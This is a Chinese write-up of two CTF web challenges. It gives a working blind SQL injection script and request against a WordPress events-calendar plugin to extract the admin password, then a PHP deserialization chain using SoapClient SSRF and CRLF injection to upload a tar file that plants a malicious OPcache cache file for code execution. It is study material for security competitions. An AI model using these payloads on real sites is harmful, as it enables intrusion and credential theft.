官方wp:https://dxh3b3fqgc3.feishu.cn/docx/HkgmdV6Fgom3P0x0iUscKxYZnLd

复现一些感兴趣的题

EzPenetration

提示:

flag写入方式已修改。flag在wp那个机器的 /flag
数据库里的邮箱key已更改为管理员密码,拿到后可直接登录

开局一个wordpress站点,拿出wpscan,在 https://wpscan.com/ 注册一个账号,就可以使用api-token进行漏洞扫描

1
wpscan --url http://node4.buuoj.cn:29874/ --api-token=xxxx

发现插件registrations-for-the-events-calendar存在一个未授权sql注入漏洞:https://wpscan.com/vulnerability/ba50c590-42ee-4523-8aa0-87ac644b77ed/

发现是无回显union注入

1
2
3
4
5
6
7
8
9
10
POST /wp-admin/admin-ajax.php?action=rtec_send_unregister_link HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 127
Connection: close
Upgrade-Insecure-Requests: 1

event_id=3%20UNION%20SELECT%200,1,2,3,4,5,6,7,8,group_concat(user_email)%20from%20wp_users%20--%20x&email=recipient@example.com

使用select database() where 1=0来实现报错,进行布尔盲注,exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import time

url = 'http://node4.buuoj.cn:26014/wp-admin/admin-ajax.php?action=rtec_send_unregister_link'
flag = ""

for i in range(1,100):
begin = 32
end = 126
tmp = (begin+end)//2
while begin<end:
payload = "if((select ascii(substr((select group_concat(option_name,0x7e,option_value) from wp_options where option_id=16),{},1)))>{},1,0)".format(i,tmp)
data={
"event_id":"3 union select 0,1,2,3,4,5,6,7,8,(select database() where 1=({}))--".format(payload),
"email":"recipient@example.com"
}
r = requests.post(url,data=data)
if 'success' in r.text:
begin = tmp+1
tmp = (begin+end)//2
else:
end = tmp
tmp = (begin+end)//2

flag+=chr(tmp)
print(flag)

得到密码:fO0CO2#0ky#oLgH1JI,猜测用户名为yanshu,成功登录后台

WordPress版本为5.8.3,最后通过上传wp-file-manager插件RCE,插件下载地址:http://plugins.svn.wordpress.org/wp-file-manager/tags/6.0/

就如同题目说的:源自真实渗透案例,确实有实战参考意义

single_php

通过?LuckyE=highlight_file获取到 index.php 源码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(0);
class siroha{
public $koi;

public function __destruct(){
$this->koi['zhanjiangdiyishenqing']();
}
}
$kanozyo = $_GET['LuckyE'](__FILE__);
var_dump($kanozyo);
$suki = unserialize($_POST['suki']);

是一个无参的任意方法调用,直接phpinfo看一下

得到PHP Version 8.2.10,并且开启了Zend OPcache扩展,这里opcache.validate_timestamps=On,即需要绕过时间戳校验

根据title可以得到文件 siranai.php,访问得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

error_reporting(0);

highlight_file(__FILE__);
$allowed_ip = "127.0.0.1";
if ($_SERVER['REMOTE_ADDR'] !== $allowed_ip) {
die("S* has the kanojo but you don't");
}

$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/x-tar'){
exec('cd /tmp && tar -xvf ' . $_FILES["file"]["tmp_name"]);
}

发现上传的文件会在/tmp目录下解压,但是限制了访问ip为127.0.0.1,需要SSRF

那么思路就很清晰了,通过反序列化的可变函数调用到__call()方法,触发SoapClient类的SSRF上传压缩包,解压到/tmp/[system_id]/var/www/html/index.php.bin实现RCE

难点一

第一个问题就是如何创建恶意的index.php.bin,我们可以在本地生成恶意的缓存文件,然后修改为一样的 system_id 即可

下载php8.2.10:https://www.php.net/distributions/php-8.2.10.tar.gz
按照fdvoid0师傅的文章,进行编译安装

1
2
3
4
5
6
7
8
9
10
apt-get install build-essential autoconf automake libtool libsqlite3-dev pkg-config libjpeg-dev libpng-dev libxml2-dev libbz2-dev libcurl4-gnutls-dev libssl-dev libffi-dev libwebp-dev libonig-dev libzip-dev

./configure --prefix=/usr/local/php --sysconfdir=/etc/php/8.2 --with-openssl --with-zlib --with-bz2 --with-curl --enable-bcmath --enable-gd --with-webp --with-jpeg --with-mhash --enable-mbstring --with-imap-ssl --with-mysqli --enable-exif --with-ffi --with-zip --enable-sockets --with-pcre-jit --enable-fpm --with-pdo-mysql --enable-pcntl

make && make install
cd /usr/bin
ln -s /usr/local/php/bin/php php8.2
cp /usr/local/php-8.2.2/php.ini-development /usr/local/php/lib/php.ini
cp /etc/php/8.2/php-fpm.conf.default /etc/php/8.2/php-fpm.conf
cp /etc/php/8.2/php-fpm.d/www.conf.default /etc/php/8.2/php-fpm.d/www.conf

然后编辑 php.ini 文件开启opcache,最后php8.2 -S 0.0.0.0:8888启动服务即可

得到 system_id 为 214510e772fba140ea7a33a277f2799e,其实这里就是 PHP 版本号,也就是:

1
2
<?php
echo md5("8.2.10API420220829,NTSBIN_4888(size_t)8\002");

接下来可以通过filemtime函数获取到文件创建时间戳:https://www.php.net/manual/zh/function.filemtime.php

然后010修改

这样第一部分就结束了

难点二

接下来需要创建tar压缩包,文件路径设置为214510e772fba140ea7a33a277f2799e/var/www/html/index.php.bin,然后反序列化实现POST请求

官方exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import hashlib
import tarfile
import requests

sys_id = hashlib.md5("8.2.10API420220829,NTSBIN_4888(size_t)8\002".encode("utf-8")).hexdigest()
def tar_file():
tar_filename = 'exp.tar'
with tarfile.open(tar_filename,'w') as tar:
directory_info = tarfile.TarInfo(name=f'{sys_id}/var/www/html')
directory_info.type = tarfile.DIRTYPE
directory_info.mode = 0o777
tar.addfile(directory_info)
tar.add('index.php.bin', arcname=f'{sys_id}/var/www/html/index.php.bin')

def upload():
file = {"file":("exp.tar",open("exp.tar","rb").read(),"application/x-tar")}
res = requests.post(url="http://a984f8e7-024a-44eb-b978-5e92ff3bf070.node4.buuoj.cn:81/",files=file)
print(res.request.headers)
return res.request

tar_file()
request_content = upload()
upload_body = str(request_content.body).replace("\"","\\\"")
print(upload_body)

这里通过python请求获取到压缩包上传的报文

注意这里Content-Length一定不能错,然后使用SoapClient反序列化+CRLF可以构造任意POST请求

1
2
3
4
5
6
7
8
9
10
<?php
class siroha{
public $koi;
}
$postdata = "xxxxx";

$a = new SoapClient(null, array('location' => "http://127.0.0.1/siranai.php", 'user_agent' => "aaa\r\n" . "Cookie: PHPSESSION=aaa\r\nContent-Type: multipart/form-data; boundary=".substr($postdata,2,32)."\r\nConnection: keep-alive\r\nAccept: */*\r\nContent-Length: 10416"."\r\n\r\n".$postdata,'uri' => "aaa"));
$b = new siroha();
$b->koi=["zhanjiangdiyishenqing"=>[$a,"nnnnn"]];
echo urlencode(serialize($b));

这里[new SoapClient(),"nnnnn"](),即调用SoapClient类的nnnnn方法,触发__class()

最后suki反序列化即可,注意这里同时需要GET传参,满足var_dump($kanozyo);不报错

再次访问index.php,成功RCE

参考:
利用 PHP7 的 OPcache 执行 PHP 代码
PHP8 OPCACHE缓存文件导致RCE
2023年春秋杯网络安全联赛春季赛 web php_again [PHP 8.2.2 OPcache Binary Webshell + CVE-2022-42919 LPE]